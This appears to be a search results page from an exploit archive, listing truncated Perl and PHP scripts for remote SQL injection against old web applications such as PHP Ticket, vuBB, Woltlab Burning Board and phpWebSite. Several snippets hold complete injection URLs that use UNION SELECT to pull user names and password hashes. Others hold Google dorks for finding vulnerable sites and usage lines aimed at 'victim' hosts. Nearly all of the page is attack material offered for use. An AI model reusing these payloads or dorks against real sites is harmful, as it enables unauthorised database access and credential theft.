3965 matches found
PHP Ticket <= 0.71 (search.php) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Copyright C undefined1 This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or at your option any...
PHP Ticket <= 0.71 (search.php) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ============================================================ PHP Ticket = 0.71 search.php Remote SQL Injection Exploit ============================================================ !/usr/bin/perl Copyright C undefined1 This program is free...
ASPPortal <= 3.1.1 (downloadid) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=21 Usage: aspp.pl host path user use IO::Socket; use Math::BigInt; if@ARGV != 3 usage;...
BetaParticle Blog <= 6.0 (fldGalleryID) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ==================================================================== BetaParticle Blog googledork: "Powered by bp blog" 9.710 pages.. use IO::Socket; if@ARGV != 2 usage; else exploit; sub header print "\n- NukedX Security Advisory...
BetaParticle Blog <= 6.0 (fldGalleryID) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=20 Usage: beta.pl host path googledork: "Powered by bp blog" 9.710 pages.. use...
RedBLoG <= 0.5 (cat_id) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ==================================================== RedBLoG x...
D2-Shoutbox 4.2 IPB Mod (load) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl | | | \ | | |/ D2-Shoutbox 4.2IPB Mod=SQL injection Created By SkOd SED security Team http://www.sed-team.be [email protected] ISRAEL google: "Powered By D2-Shoutbox 4.2" use IO::Socket; $host = $ARGV0; $user = $ARGV2; $uid = $ARGV3; $pid = $ARGV4...
TotalECommerce <= 1.0 (index.asp id) Remote SQL Injection Exploit
No description provided by source. Original advisory: http://www.nukedx.com/?viewdoc=18 Advisory by: nukedx Full PoC Explotation: GET - http://victim/dir/index.asp?secao=PageID&id=SQL EXAMPLE 1 -...
vuBB <= 0.2 (Cookie) Final Remote SQL Injection Exploit (mq=off)
Exploit for unknown platform in category web applications ================================================================ vuBB agent"Mosiac 1.0" . $ua-agent; if !$ARGV0 $ARGV0 = ''; if !$ARGV1 $ARGV1 = '1'; my $path = $ARGV0 . '/index.php'; my $user = $ARGV1; userid to jack my $uname = $ARGV2; m...
Woltlab Burning Board 2.x - Datenbank MOD fileid SQL Injection
Woltlab Burning Board 2.x - Datenbank MOD fileid SQL Injection !/usr/bin/perl Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Usage: wbb.pl Original Advisory: http://www.nukedx.com/?viewdoc=17 use IO::Socket; if@ARGV + + Example: wbb.p...
vuBB 0.2 Final - cookie SQL Injection
vuBB 0.2 Final - cookie SQL Injection !/usr/bin/perl print q ---------------------------------------------------------------------- vuBB agent"Mosiac 1.0" . $ua-agent; if !$ARGV0 $ARGV0 = ''; if !$ARGV1 $ARGV1 = '1'; my $path = $ARGV0 . '/index.php'; my $user = $ARGV1; userid to jack my $uname =...
Woltlab Burning Board 2.x Datenbank MOD (fileid) Remote SQL Injection
Exploit for unknown platform in category web applications ===================================================================== Woltlab Burning Board 2.x Datenbank MOD fileid Remote SQL Injection ===================================================================== !/usr/bin/perl Method found &...
Woltlab Burning Board 2.x Datenbank MOD (fileid) Remote SQL Injection
No description provided by source. !/usr/bin/perl Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Usage: wbb.pl victim directory modpage dbnum userid Original Advisory: http://www.nukedx.com/?viewdoc=17 use IO::Socket; if@ARGV 5 print ...
SaphpLesson 2.0 (forumid) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications...
Pentacle In-Out Board <= 6.03 (newsdetailsview) Remote SQL Injection
Exploit for unknown platform in category web applications ==================================================================== Pentacle In-Out Board use IO::Socket; if@ARGV + + Example: penta.pl sux.com / 1 + + Method found & Exploit scripted by nukedx + ++ "; exit; Local variables $pentaserver =...
SaphpLesson 2.0 (forumid) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl For password http://www.example.com/path/showcat.php?forumid=-1%20union%20select%20ModPassword%20from%20modretor For username http://www.example.com/path/showcat.php?forumid=-1%20union%20select%20ModName%20from%20modretor sent in by SnIpErSA...
Pentacle In-Out Board <= 6.03 (newsdetailsview) Remote SQL Injection
No description provided by source. !/usr/bin/perl Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Usage: penta.pl victim directory Original Advisory: http://www.nukedx.com/?viewdoc=14 use IO::Socket; if@ARGV 3 print " ++ +Pentacle In-O...
phpWebSite <= 0.10.0-full (topics.php) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl advisory sent in by SnIpErSA selfar2002athotmail.com http://www.target.com/topics.php?op=viewtopic&topic=-1%20Union%20select%20name,name,pass,name%20From%20users%20where%20uid=1 ported by str0ke milw0rm.com from x97Rangs code RST/GHC...
Lansuite <= 2.1.0 Beta (fid) Remote SQL Injection Exploit
No description provided by source. ? errorreportingEERROR; function xssinit if !extensionloaded'phpcurl' if !dl'curl.so' and !dl'phpcurl.so' and !dl'phpcurl.dll' die "oo error - cannot load curl extension!"; function xssheader echo...
Lansuite <= 2.1.0 Beta (fid) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ========================================================= Lansuite = 2.1.0 Beta fid Remote SQL Injection Exploit ========================================================= ? errorreportingEERROR; function xssinit if !extensionloaded'phpcurl...